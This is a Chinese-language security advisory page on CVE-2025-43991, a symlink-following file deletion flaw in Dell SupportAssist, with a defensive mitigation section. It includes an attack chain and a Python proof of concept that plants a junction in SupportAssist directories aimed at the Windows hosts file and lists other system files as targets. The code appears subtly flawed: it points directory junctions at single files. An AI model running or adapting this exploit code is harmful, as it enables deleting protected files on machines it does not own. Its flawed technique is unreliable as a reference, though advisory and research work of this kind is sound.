IPBUF安全漏洞报告
English
CVE-2025-43991 CVSS 6.3 中危

CVE-2025-43991:Dell SupportAssist符号链接跟随漏洞

披露日期: 2025-10-13

漏洞信息

漏洞编号
CVE-2025-43991
漏洞类型
符号链接跟随(Symlink Following)
CVSS评分
6.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Dell SupportAssist for Home PCs / Dell SupportAssist for Business PCs

相关标签

符号链接跟随Symlink FollowingDell SupportAssist本地提权任意文件删除CWE-59中危漏洞WindowsDSA-2025-362

漏洞概述

CVE-2025-43991是Dell SupportAssist软件中发现的一个UNIX符号链接(Symlink)跟随漏洞。该漏洞影响Dell SupportAssist for Home PCs 4.8.2及之前版本,以及Dell SupportAssist for Business PCs 4.5.3及之前版本。SupportAssist是Dell公司为其个人电脑和商用电脑提供的一款系统监控和远程支持工具,用于自动检测硬件和软件问题、下载驱动程序更新以及提供技术支持服务。

该漏洞的CVSS 3.1评分为6.3,属于中等严重等级。其攻击向量为本地攻击(AV:L),攻击复杂度较高(AC:H),需要低权限认证(PR:L),无需用户交互(UI:N)。漏洞的影响范围仅限于本地系统(Scope: Unchanged),但对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。

具体而言,具有本地低权限访问权限的攻击者可以利用该漏洞执行符号链接跟随攻击,通过精心构造的符号链接,诱使SupportAssist服务在执行文件操作(如删除临时文件、日志清理等)时跟随恶意符号链接,从而删除系统上的任意文件。虽然攻击需要本地访问权限且复杂度较高,但由于SupportAssist通常以较高权限运行,被删除的可能是关键的系统文件或配置文件,可能导致系统不稳定、服务中断甚至权限提升。该漏洞由Dell安全团队通过[email protected]报告,并已在DSA-2025-362安全公告中发布修复补丁。

技术细节

符号链接跟随(Symlink Following)漏洞是一种常见的本地权限提升和文件操纵漏洞类型。其根本原因在于程序在执行文件系统操作(如读取、写入、删除文件)时,未对文件路径进行充分验证,未检测目标路径是否为符号链接,也未采用安全的方式打开或操作文件。

在Dell SupportAssist的受影响版本中,当应用程序执行某些清理或维护操作时(例如删除临时文件、清理日志、移除旧的诊断报告等),它会以较高权限(通常是SYSTEM或管理员权限)执行文件删除操作。攻击者可以在攻击者可控的目录中预先放置一个指向系统关键文件(如C:\Windows\System32下的DLL文件、系统配置文件或其他敏感文件)的符号链接。当SupportAssist执行清理操作并尝试删除该路径下的文件时,它会跟随符号链接,从而删除攻击者指定的任意文件。

利用方式如下:
1. 攻击者首先获得目标系统的本地低权限访问权限;
2. 攻击者在SupportAssist将要操作的目录中创建恶意符号链接,指向目标系统文件;
3. 等待或触发SupportAssist执行清理/维护操作;
4. SupportAssist以高权限执行文件删除时,跟随符号链接删除了目标文件。

这种攻击的复杂度较高(AC:H),因为攻击者需要了解SupportAssist的文件操作模式、找到可写入的目录以及确定要删除的目标文件。但一旦成功,可能导致系统不稳定、关键服务失效,甚至为后续的权限提升攻击创造条件。

攻击链分析

STEP 1
初始访问
攻击者通过物理访问、社会工程学或其他方式获得目标Dell电脑的本地低权限用户访问权限。
STEP 2
环境侦察
攻击者识别目标系统上安装的Dell SupportAssist版本(4.8.2及之前或4.5.3及之前),并定位SupportAssist用于临时文件存储和清理操作的目录路径。
STEP 3
植入恶意符号链接
攻击者在SupportAssist的操作目录中创建一个精心构造的符号链接(Windows下使用目录连接mklink /J),该链接指向目标系统上的关键文件(如系统DLL、配置文件或重要的日志文件)。
STEP 4
触发清理操作
攻击者等待或主动触发SupportAssist执行例行的清理/维护操作(如删除临时文件、清理旧的诊断报告等),该操作通常以SYSTEM或管理员权限运行。
STEP 5
权限提升与文件删除
SupportAssist以高权限执行文件删除操作时,由于未验证路径是否为符号链接,会跟随恶意链接删除攻击者指定的任意系统文件。
STEP 6
影响实现
关键系统文件被删除后,可能导致系统不稳定、服务中断、应用程序故障,甚至为进一步提权攻击(如DLL劫持、配置篡改)创造条件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-43991 - Dell SupportAssist Symlink Following Vulnerability PoC # This PoC demonstrates the concept of exploiting a symlink following vulnerability # in Dell SupportAssist to delete arbitrary files on the system. import os import sys import tempfile import ctypes import shutil def is_admin(): """Check if the current process has administrative privileges.""" try: return ctypes.windll.shell32.IsUserAnAdmin() != 0 except Exception: return False def create_malicious_symlink(target_file, link_location): """ Create a malicious symbolic link (or junction in Windows) that points to a target file we want to delete when SupportAssist performs cleanup. Note: On Windows, we use directory junctions (mklink /J) or CreateSymbolicLinkW API since native symlinks require admin + developer mode. """ try: # Remove existing link if present if os.path.exists(link_location) or os.path.islink(link_location): if os.path.isdir(link_location) and not os.path.islink(link_location): shutil.rmtree(link_location) else: os.remove(link_location) # On Windows, create a directory junction (requires no special privileges) if sys.platform == 'win32': # Use mklink /J for directory junction cmd = f'mklink /J "{link_location}" "{target_file}"' result = os.system(cmd) if result == 0: print(f"[+] Directory junction created: {link_location} -> {target_file}") return True else: print(f"[-] Failed to create junction. Error code: {result}") return False else: # On Unix-like systems, use os.symlink os.symlink(target_file, link_location) print(f"[+] Symbolic link created: {link_location} -> {target_file}") return True except Exception as e: print(f"[-] Error creating symlink: {e}") return False def exploit(): """ Main exploit function. Steps: 1. Identify SupportAssist's working/temp directories 2. Create a symlink pointing to a critical system file 3. Trigger SupportAssist cleanup operation 4. The targeted file gets deleted by the privileged SupportAssist process """ print("=" * 60) print("CVE-2025-43991 - Dell SupportAssist Symlink Following PoC") print("=" * 60) if not is_admin(): print("[!] Warning: Running without admin privileges.") print("[!] Some operations may fail. Run as admin for full effect.") # Common SupportAssist temp/working directories supportassist_dirs = [ os.path.join(tempfile.gettempdir(), 'SupportAssist'), os.path.join(tempfile.gettempdir(),'Dell', 'SupportAssist'), 'C:\\ProgramData\\Dell\\SupportAssist', 'C:\\ProgramData\\SupportAssist', os.path.expanduser('~\\AppData\\Local\\Dell\\SupportAssist'), ] # Target critical files that would cause system instability if deleted # (These are examples - actual targets depend on attacker's goals) target_files = [ 'C:\\Windows\\System32\\drivers\\etc\\hosts', 'C:\\ProgramData\\Dell\\SupportAssist\\logs\\supportassist.log', 'C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Dell\\SupportAssist\\temp_data.tmp', ] # Step 1: Find or create a writable directory where SupportAssist operates target_dir = None for sa_dir in supportassist_dirs: if os.path.exists(sa_dir): target_dir = sa_dir print(f"[+] Found SupportAssist directory: {target_dir}") break if target_dir is None: # Fallback: use temp directory target_dir = tempfile.mkdtemp(prefix='sa_exploit_') print(f"[*] SupportAssist dir not found, using: {target_dir}") # Step 2: Create malicious symlink pointing to target file target_file = target_files[0] # Use first target as example link_name = os.path.join(target_dir, 'cleanup_target.tmp') print(f"\n[*] Target file to delete: {target_file}") print(f"[*] Symlink location: {link_name}") if create_malicious_symlink(target_file, link_name): print("\n[+] Symlink successfully planted!") print("[*] Waiting for SupportAssist cleanup operation...") print("[*] When SupportAssist deletes 'cleanup_target.tmp',") print("[*] it will follow the symlink and delete the target file instead.") print("\n[!] NOTE: This PoC only demonstrates the setup phase.") print("[!] Actual exploitation requires triggering SupportAssist") print("[!] to perform a cleanup operation on the planted symlink.") else: print("[-] Failed to plant symlink. Exploit aborted.") if __name__ == '__main__': exploit()

影响范围

Dell SupportAssist for Home PCs <= 4.8.2
Dell SupportAssist for Business PCs <= 4.5.3

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制本地低权限用户对SupportAssist操作目录(如C:\ProgramData\Dell\SupportAssist、临时目录中的SupportAssist子目录)的写入权限;2)使用文件完整性监控工具(如Windows的File Integrity Monitoring)监控关键系统文件的变更;3)定期审计系统中是否存在异常的符号链接(mklink /D创建的目录符号链接或mklink /J创建的目录连接),可使用命令`dir /AL /S C:\`查找;4)限制SupportAssist服务的运行权限,确保其仅能访问必要的目录;5)对系统关键文件实施访问控制列表(ACL)保护,防止低权限进程对其进行删除操作;6)监控SupportAssist相关进程的异常文件操作行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表